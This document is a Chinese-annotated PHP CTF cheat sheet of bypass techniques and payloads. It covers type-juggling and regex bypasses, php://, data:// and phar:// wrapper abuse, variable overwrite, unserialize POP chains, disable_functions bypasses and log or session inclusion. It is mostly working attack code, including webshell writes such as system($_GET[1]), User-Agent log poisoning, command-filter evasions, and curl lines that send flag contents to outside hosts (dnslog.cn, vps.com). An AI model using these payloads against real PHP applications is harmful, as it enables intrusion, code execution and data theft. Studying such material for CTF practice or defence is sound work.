1
intval(数组);  // 空数组返回0，非空数组返回1
2
intval(对象);  // 产生错误
3
intval("4476a"); // 返回4476
4
intval("a4476"); // 返回0
5
intval($num, 0); // 第二参数为0时自动识别进制

1
"4476" === 4476   // false (类型不同)
2
"0e123" === "0e456"  // false (字符串比较)

1
is_numeric("4476");    // true
2
is_numeric(" 4476");   // true (前导空白)
3
is_numeric("4476.1");  // true (小数)
4
is_numeric("4.476e3"); // true (科学计数法)
5
is_numeric("+4476");   // true
6
is_numeric("-4476");   // true
7
is_numeric("0x117C");  // PHP5 true, PHP7 false
8
is_numeric("\x0C4476"); // true (换页符+数字)

1
"admin" == 0          // true
2
"1admin" == 1         // true
3
"admin1" == 0         // true
4
"1e1" == 10           // true
5
"0x10" == 16          // PHP5 true, PHP7 false

1
preg_match('/[0-9]/', $_GET['num']);  // 传入数组返回false
2
// ?num[]=1

1
ereg("^[a-zA-Z]+$", $str);  // PHP5.3弃用，PHP7移除
2
// %00会导致ereg返回false
3
// ?c=a%00778

1
// 多行模式绕过
2
preg_match('/^php$/im', $str);  // 要求某一行等于php
3
preg_match('/^php$/i', $str);   // 要求整个字符串等于php
4
// ?cmd=php%0a1  第一行是php

1
preg_match('/.+?ctfshow/is', $f);
2
// PCRE默认回溯深度100万次，超出返回false
3
// payload:
4
str_repeat('very', 250000).'36Dctfshow';

1
strpos("ctfshow", $f);  // 传入数组返回null
2
stripos($f, 'ctfshow') === false;  // 数组绕过
3
// ?f[]=1

1
in_array("4476a", [4476]);  // true (弱比较)
2
in_array("4476a", [4476], true);  // false (强比较)

1
strcmp($a, $b);  // 传入数组返回null
2
// null != 0 为 true
3
// ?a[]=1

1
switch($a) {
2
    case "admin": ...
3
}
4
// $a = 0 时匹配 "admin" (0 == "admin")

1
md5($a) === md5($b);
2
// ?a[]=1&b[]=2  数组返回null，null===null

1
content1 = "aaO8zKZF"
2
content2 = "aaK1STfY"
3
// 这两个字符串MD5相同（需要完整文件内容）

1
sha1($a) === sha1($b);
2
// ?a[]=1&b[]=2  数组返回false

1
hash_equals($a, $b);  // 时间安全的字符串比较
2
// 无法用数组绕过，PHP7+会警告

1
// Base64读取
2
php://filter/read=convert.base64-encode/resource=flag.php
3

4
// rot13读取
5
php://filter/read=string.rot13/resource=flag.php
6

7
// 字符串转换链
8
php://filter/convert.iconv.UTF-8.UTF-16LE/resource=flag.php
9

10
// zlib压缩
11
php://filter/zlib.deflate|zlib.inflate/resource=flag.php
12

13
// 写入（PHP5）
14
php://filter/write=string.rot13/resource=shell.php

1
// 读取POST原始数据
2
file_get_contents('php://input');
3

4
// 配合文件包含执行代码
5
include('php://input');
6
// POST: <?php system('ls');

1
data://text/plain,<?php system('ls');
2
data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw==

1
compress.zlib://flag.php
2
compress.bzip2://flag.php

1
// 触发反序列化
2
phar://shell.phar
3
// 配合文件操作函数：file_exists, fopen, file_get_contents等

1
// 超长路径绕过
2
/proc/self/root/proc/self/root/.../proc/self/root/var/www/html/flag.php
3

4
// 伪协议绕过
5
php://filter/resource=flag.php  // 返回false但能读取

1
$a = "flag";
2
$$a = "ctfshow";
3
// $flag = "ctfshow"
4

5
// 利用场景
6
foreach($_GET as $key => $value) {
7
    $$key = $$value;
8
}
9
// ?suces=flag&error=suces
10
// $suces = $flag, $error = $suces = $flag

1
extract($_GET);
2
// ?a=1  ->  $a = 1
3
// 可覆盖已有变量

1
parse_str("a=1&b=2", $arr);
2
// $arr = ['a' => 1, 'b' => 2]
3

4
parse_str("a=1&b=2");  // 不传第二个参数，直接创建变量
5
// $a = 1, $b = 2

1
PHP会将以下字符转为下划线：
2
- 空格
3
- .
4
- [
5

6
特殊情况：[ 后的内容会被保留

1
# 示例
2
CTF_SHOW.COM -> CTF_SHOW_COM (正常)
3
CTF[SHOW.COM -> CTF_SHOW.COM ([ 转为_，后面的.保留)

1
$_SERVER['QUERY_STRING']  // 原始查询字符串，不经过URL解码
2
// 可用于绕过对下划线的过滤
3
// ?ctf show=flag  原始字符串中的空格不会被转为_

1
// register_argc_argv = On 时
2
// ?a=1&b=2
3
// $argv[0] = "a=1&b=2"
4
// 可用于变量覆盖

1
// 查看类结构（包括私有属性）
2
new ReflectionClass('ClassName');
3
print new ReflectionClass('ClassName');
4

5
// 查看常量和默认属性
6
ReflectionClass::getConstants();
7
ReflectionClass::getDefaultProperties();

1
// 目录迭代
2
new DirectoryIterator('/var/www/html');
3
new FilesystemIterator('/var/www/html');
4
new GlobIterator('/var/www/html/*.php');
5

6
// 文件读取
7
new SplFileObject('/flag');
8
new SplFileInfo('/flag');
9

10
// 配合无参数函数
11
new FilesystemIterator(getcwd());

1
// __toString 泄露信息
2
echo new Exception($可控内容);

1
new SimpleXMLElement($xml);
2
new DOMDocument();
3
// 可用于XXE攻击

1
// ArrayObject - 数组转对象
2
// ArrayIterator - 数组迭代
3
// PDO - 数据库连接
4
// SoapClient - SSRF

1
system($cmd);      // 直接输出
2
exec($cmd);        // 返回最后一行
3
shell_exec($cmd);  // 返回完整输出
4
passthru($cmd);    // 直接输出二进制
5
`$cmd`;            // 反引号执行
6
pcntl_exec($cmd);  // PCNTL扩展
7
popen($cmd, 'r');  // 打开进程管道
8
proc_open();       // 更强大的管道

1
// 写入文件
2
system('cat flag > 1.txt');
3
system('cat flag | tee 1.txt');
4

5
// DNS外带
6
system('curl `cat flag`.dnslog.cn');
7

8
// HTTP外带
9
system('curl http://vps.com?data=$(cat flag|base64)');

1
// substr截断
2
eval(substr($cmd, 0, 6));
3
// 使用短命令：ls, cat, nl等
4

5
// 写入文件再执行
6
echo '<?php system($_GET[1]);' > a.php

1
// 无字母数字webshell
2
// 使用异或、取反、自增等
3
$_ = '!@#$%^&*()_+' ^ '...';
4
$__($_);

1
a; b     # 顺序执行
2
a && b   # a成功后执行b
3
a || b   # a失败后执行b
4
a | b    # a的输出作为b的输入
5
a & b    # 后台执行
6
`a`      # 命令替换
7
$(a)     # 命令替换

1
# 空格绕过
2
cat<flag
3
cat${IFS}flag
4
cat$IFS$9flag
5
{cat,flag}
6
cat%09flag  # TAB
7

8
# 关键字绕过
9
c''at flag    # 空字符串
10
c""at flag
11
c\at flag     # 转义
12
ca\t flag
13
c$@at flag
14
`echo Y2F0 | base64 -d` flag  # 编码
15

16
# 通配符
17
cat /f??g
18
cat /f*
19
cat /f[l]ag
20
cat /f{a,b,c}ag

1
__construct()   // 对象创建时
2
__destruct()    // 对象销毁时
3
__wakeup()      // 反序列化时调用
4
__sleep()       // 序列化时调用
5
__toString()    // 对象转字符串时
6
__call()        // 调用不存在方法时
7
__get()         // 访问不存在属性时
8
__set()         // 设置不存在属性时
9
__invoke()      // 对象作为函数调用时
10
__clone()       // 克隆对象时

1
// PHP5 < 5.6.25, PHP7 < 7.0.10
2
// 当序列化字符串中属性个数大于实际个数时，跳过__wakeup
3
O:4:"Test":1:{s:1:"a";s:1:"b";}
4
// 改为
5
O:4:"Test":2:{s:1:"a";s:1:"b";}

1
// 典型POP链
2
Class A {
3
    function __destruct() {
4
        $this->b->action();
5
    }
6
}
7
Class B {
8
    function action() {
9
        eval($this->cmd);
10
    }
11
}
12

13
// 构造链：A::__destruct -> B::action -> eval

1
// 触发函数
2
file_exists('phar://shell.phar');
3
is_file('phar://shell.phar');
4
file_get_contents('phar://shell.phar');
5
fopen('phar://shell.phar', 'r');
6
// 等
7

8
// 生成phar文件
9
$phar = new Phar('shell.phar');
10
$phar->setStub('<?php __HALT_COMPILER(); ?>');
11
$phar->setMetadata($obj);  // 序列化对象

1
// 不同处理器格式不同
2
php          | name|s:4:"test";
3
php_binary   | names:4:"test";
4
php_serialize| a:1:{s:4:"name";s:4:"test";}
5

6
// 处理器不一致导致注入
7
ini_set('session.serialize_handler', 'php_serialize');

1
eval($code);      // 执行PHP代码，需要分号结尾
2
assert($code);    // PHP7前可执行代码，PHP7后变为表达式
3
// PHP7: assert('system("ls")');
4
// PHP5: assert(system('ls'));

1
$func = create_function('', 'system("ls");');
2
$func();
3
// 可注入代码
4
$func = create_function('', '}system("ls");//');

1
preg_replace('/.*/e', 'system("ls")', 'test');
2
// /e修饰符会执行替换后的代码

1
$a = 'system';
2
$a('ls');  // 执行 system('ls')
3

4
$a = 'assert';
5
$a('system("ls")');

1
call_user_func('system', 'ls');
2
call_user_func('assert', 'system("ls")');
3

4
// 调用类方法
5
call_user_func(['ClassName', 'staticMethod']);
6
call_user_func([$obj, 'method']);

1
array_map('system', ['ls', 'whoami']);
2
array_filter(['ls', 'whoami'], 'system');
3

4
usort($arr, 'system');
5
uasort($arr, 'system');
6
uksort($arr, 'system');

1
// 无参数函数执行
2
print_r(scandir(getcwd()));
3
print_r(scandir(dirname(getcwd())));
4
print_r(scandir('/'));
5

6
// 结合内置类
7
new FilesystemIterator(getcwd());
8
new DirectoryIterator(getcwd());

1
file_get_contents($file);
2
file($file);
3
fread(fopen($file, 'r'), 1000);
4
readfile($file);
5
highlight_file($file);
6
show_source($file);
7
include($file);
8
require($file);
9
SplFileObject($file);

1
file_put_contents($file, $content);
2
fwrite(fopen($file, 'w'), $content);
3
move_uploaded_file($src, $dst);
4
copy($src, $dst);
5
rename($src, $dst);

1
// 上传临时文件
2
$_FILES['file']['tmp_name']  // /tmp/phpXXXXXX
3

4
// 创建临时文件
5
$temp = tmpfile();
6
$temp = tempnam('/tmp', 'php');

1
# 添加解析类型
2
AddType application/x-httpd-php .jpg
3

4
# 设置解析引擎
5
php_flag engine off  # 关闭PHP解析
6

7
# auto_prepend_file
8
php_value auto_prepend_file "/flag"

1
// 文件存在检查与删除之间存在间隙
2
if(file_exists($file)) {
3
    // 时间差
4
    unlink($file);
5
}
6
// 可在此间隙执行恶意代码

1
// magic_quotes_gpc = On
2
// 自动转义 ' " \ NULL
3
// 可用stripslashes()还原

1
$_GET/$_REQUEST 会自动URL解码
2
$_SERVER['QUERY_STRING'] 不会解码

1
%00  // 空字节，截断字符串（PHP5）
2
%0a  // 换行符
3
%0d  // 回车符
4
%0c  // 换页符
5
%09  // TAB
6
%20  // 空格

1
urlencode(urlencode($str));
2
// 某些场景会解码两次

1
// LD_PRELOAD
2
putenv("LD_PRELOAD=/tmp/evil.so");
3
mail("", "", "", "");
4

5
// PHP扩展
6
// 使用未被禁用的函数：mb_send_mail, imap_open等
7

8
// FastCGI
9
// 利用PHP-FPM
10

11
// COM组件（Windows）
12
$w = new COM('WScript.shell');
13
$w->exec('cmd');
14

15
// pcntl_exec（如果未禁用）
16
pcntl_exec('/bin/sh', ['-c', 'id']);

1
// symlink
2
symlink("file", "link");
3

4
// glob://
5
glob("glob:///flag*");
6

7
// ini_set (某些版本)
8
ini_set("open_basedir", "/");
9

10
// bindtextdomain
11
bindtextdomain("evil", "/flag");

1
// Session文件包含
2
include('/tmp/sess_'.session_id());
3

4
// Session控制
5
session_start();
6
$_SESSION['cmd'] = '<?php system($_GET[1]);';

1
// 包含日志文件
2
include('/var/log/apache2/access.log');
3
include('/var/log/nginx/access.log');
4

5
// User-Agent注入PHP代码
6
User-Agent: <?php system($_GET[1]);?>

1
0.1 + 0.2 == 0.3  // false
2
0.1 + 0.2 === 0.3  // false
3

4
// 比较问题
5
$a = 0.1 + 0.2;
6
abs($a - 0.3) < 0.0001;  // 正确比较方式

1
1e1 == 10       // true
2
1e309 == INF    // true (超出范围)
3
"1e1" == 10     // true (字符串弱比较)

1
PHP_INT_MAX  // 64位: 9223372036854775807
2
// 超出后转为浮点数

1
// PHP5
2
"0x10" == 16    // true
3
is_numeric("0x10")  // true
4

5
// PHP7
6
"0x10" == 16    // false (字符串比较)
7
is_numeric("0x10")  // false

1
// 数组key转换
2
$arr['1']  // 字符串'1'会转为整数1
3

4
// 数组比较
5
[1,2] == [1]  // false (长度不同)
6
['a'=>1] == []  // false
7
['a'=>1] == ['a'=>'1']  // true (弱比较)

1
// JSON要求UTF-8编码
2
// 大整数可能丢失精度
3
json_decode('{"num":9223372036854775808}');
4
// 转为浮点数

1
// 可注入对象
2
// 格式：O:类名长度:"类名":属性数:{属性}
3
O:4:"Test":1:{s:1:"a";s:1:"b";}
4

5
// 私有属性
6
O:4:"Test":1:{s:7:"\x00Test\x00a";s:1:"b";}
7
// \x00类名\x00属性名
8

9
// 保护属性
10
O:4:"Test":1:{s:4:"\x00*\x00a";s:1:"b";}

1
// 对非ASCII字符处理问题
2
basename("/var/www/html/测试.php");  // 可能丢失文件名
3
basename("/var/www/html/test.php");  // test.php

1
// 默认删除这些字符
2
" " (空格)
3
"\t" (制表符)
4
"\n" (换行)
5
"\r" (回车)
6
"\0" (空字节)
7
"\v" (垂直制表符)
8
"\x0B" (垂直制表符)
9

10
// 不删除 \f (换页符)

1
chr(65)  // 'A'
2
ord('A') // 65
3

4
// 可用于构造字符串
5
chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);  // "system"

1
// 命名参数
2
// 注解
3
// 联合类型
4
// match表达式
5
// Nullsafe运算符 ?->
6
// str_contains/str_starts_with/str_ends_with

1
?num[]=1
2
?a[]=1&b[]=2

1
?num=4476a
2
?num=0x117C
3
?num=010574

1
?a[]=1&b[]=2
2
?a=QNKCDZO&b=240610708

1
php://filter/read=convert.base64-encode/resource=flag.php
2
php://input
3
data://text/plain,<?php system('ls');
4
phar://shell.phar

1
?_POST[key]=value
2
?suces=flag&error=suces

1
| cat flag
2
; cat flag
3
`cat flag`
4
$(cat flag)

1
?file=php://filter/resource=flag.php
2
?file=/proc/self/root/.../flag.php